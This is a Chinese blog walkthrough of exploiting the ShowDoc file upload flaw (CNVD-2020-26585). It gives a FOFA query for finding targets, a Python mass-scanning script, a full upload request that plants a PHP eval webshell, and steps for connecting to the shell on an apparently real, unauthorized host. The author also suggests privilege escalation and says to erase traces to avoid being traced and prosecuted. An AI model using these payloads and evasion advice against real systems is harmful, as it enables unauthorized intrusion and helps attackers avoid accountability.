当前位置: 首页 > article >正文

0x03 ShowDoc 文件上传漏洞(CNVD-2020-26585)复现

参考:ShowDoc文件上传漏洞(CNVD-2020-26585)_showdoc漏洞-CSDN博客

一、fofa 搜索使用该工具的网站

网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统

"ShowDoc"

 

二、验证目标url是否存在漏洞

手动验证

在url后面拼接

?s=/home/page/uploadImg

如果能成功访问就说明有可能存在漏洞,是否存在漏洞还需要后续进行上传测试

编写python脚本进行批量验证

首先你可以编写个搜索fofa的脚本,用来收集目标ip

搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

然后就可以编写ip验证脚本

import requests

# 读取本地的 ip.txt 文件
def read_urls(file_path):
    with open(file_path, 'r') as file:
        urls = file.readlines()
    return [url.strip() for url in urls]

# 测试 URL 是否存在漏洞
def test_vulnerabilities(urls, timeout=3):
    endpoint = '/?s=/home/page/uploadImg'
    keyword = '没有上传的文件'
    for url in urls:
        full_url = url + endpoint
        try:
            response = requests.get(full_url, timeout=timeout)
            if response.status_code == 200 and keyword in response.text:
                print(f"Potential vulnerability found at: {full_url}")
            else:
                pass
                # print(f"No vulnerability detected at: {full_url} (Status Code: {response.status_code})")
        except requests.RequestException as e:
            pass
            # print(f"Error accessing {full_url}: {e}")

# 主函数
def main():
    file_path = 'ip.txt'
    urls = read_urls(file_path)
    test_vulnerabilities(urls)

if __name__ == "__main__":
    main()

三、尝试上传webshell

随便选择一个可能存在漏洞的url进行复现

使用bp抓包

发送到重发器

将请求改成post请求

然后在请求体后面加上payload 

payload 

Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 257

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php eval(@$_POST['mima']);?>
----------------------------921378126371623762173617--

以下是对每部分的详细解释:

  1. Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617:

    • Content-Type: multipart/form-data 指定了请求的主体是 multipart/form-data 格式,这种格式通常用于上传文件或包含多个部分的数据。
    • boundary=--------------------------921378126371623762173617 是分隔符,它用于分隔请求中的各个部分。边界值用于在请求体中分隔不同的数据部分。
  2. Content-Length: 257:

    • 指示请求体的长度为 257 字节。这是请求体的总字节数,包括所有分隔符和数据。
  3. ----------------------------921378126371623762173617:

    • 这是第一个分隔符,表示请求体的开始。这是用来分隔请求中的第一个部分的边界。
  4. Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php":

    • Content-Disposition: form-data 表示这是表单数据的一部分。
    • name="editormd-image-file" 指定了表单字段的名称,这里是 editormd-image-file
    • filename="test.<>php" 指定了上传文件的名称,这里是 test.<>php
  5. Content-Type: text/plain:

    • 指定了上传文件的 MIME 类型,这里是 text/plain,表示文件的内容是纯文本。
  6. <?php eval(@$_POST['mima']);?>:

    • 这是文件 test.<>php 中的内容。它是一个 PHP 代码片段,用于执行传入的 PHP 代码。eval(@$_POST['mima']); 会执行 POST 请求中 mima 字段的内容,这可能会导致代码执行漏洞,允许攻击者在服务器上执行任意代码。
  7. ----------------------------921378126371623762173617--:

    • 这是请求体的结束分隔符,标志着请求体的结束。

 

四、使用工具(蚁剑、菜刀、冰蝎、哥斯拉)尝试连接webshell

这里用蚁剑演示,复制链接至蚁剑,将所有的“\”去除

去除 / 反斜杠后链接就会变成这样 

http://14.***.***.152:8082/Public/Uploads/2024-08-22/66c744243f700.php

 连接密码:mima

可以连接后就可以进入虚拟终端执行一些命令,比如查看当前权限

可以继续上传msf或cs的马进行操作提权,但是我没有目标的授权就不继续下去了,如果你需要学习这方面的知识,可以订阅我的专栏:49-4 内网渗透 - 不安全的服务权限提权_windows提权--不安全的服务权限的原理-CSDN博客

最后记住,清除我们的渗透痕迹,防止别人进行溯源,起诉我们。

免责声明

欢迎访问我的博客。以下内容仅供教育和信息用途:

  1. 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。

  2. 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。

  3. 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。

  4. 责任限制:我对使用博客内容产生的任何损害不承担责任。

  5. 第三方链接:博客中的链接仅为方便用户,内容不由我负责。

使用本博客即表示您同意以上条款。如果有疑问,请联系我。


http://www.kler.cn/a/281947.html

相关文章:

  • 数据分析24.11.13
  • gvim添加至右键、永久修改配置、放大缩小快捷键、ctrl + c ctrl +v 直接复制粘贴、右键和还原以前版本(V)冲突
  • EEG+EMG学习系列 (1) :一个基于小波的自动睡眠评分模型
  • 图像重建之深度学习重建
  • 群控系统服务端开发模式-应用开发-前端级别功能开发
  • oracle19c开机自启动
  • 乾元通渠道商中标大理市自然灾害应急能力提升项目
  • MSSQL 手工注入(第一关)
  • 数学建模之数据分析【八】:数据预处理之数据格式化
  • Objective-C 动态调用秘籍:NSInvocation 的魔法
  • 使用matplotlib可视化dataframe:让你的数据更生动有趣
  • 【采集软件】抖音根据关键词批量采集搜索结果工具
  • 使用Hutool操作Excel的时候出现的问题(压缩比问题)
  • 计算机毕业设计选题推荐-保险业务管理系统-Java/Python项目实战
  • 使用canal增量同步ES索引库数据
  • AI模型应该追求全能还是专精
  • 【hot100篇-python刷题记录】【跳跃游戏】
  • 设计模式 7 桥接模式
  • 【Redis】Redis编程技巧
  • (十八)Flink CEP 详解
  • Spring数据访问层管理 ▎集成MyBatis ▎AOP ▎事务管理 ▎SpringWeb配置
  • 使用预训练的 ONNX 格式的 YOLOv8n 模型进行目标检测,并在图像上绘制检测结果
  • 使用Python和CMD批量分析Monkey日志ANR、CRASH、空指针异常及其他异常数据
  • C语言基础(二十四)
  • 数据仓库系列 1:什么是数据仓库,它与传统数据库有什么不同?
  • 如何在 Android 智能手机上恢复已删除的图片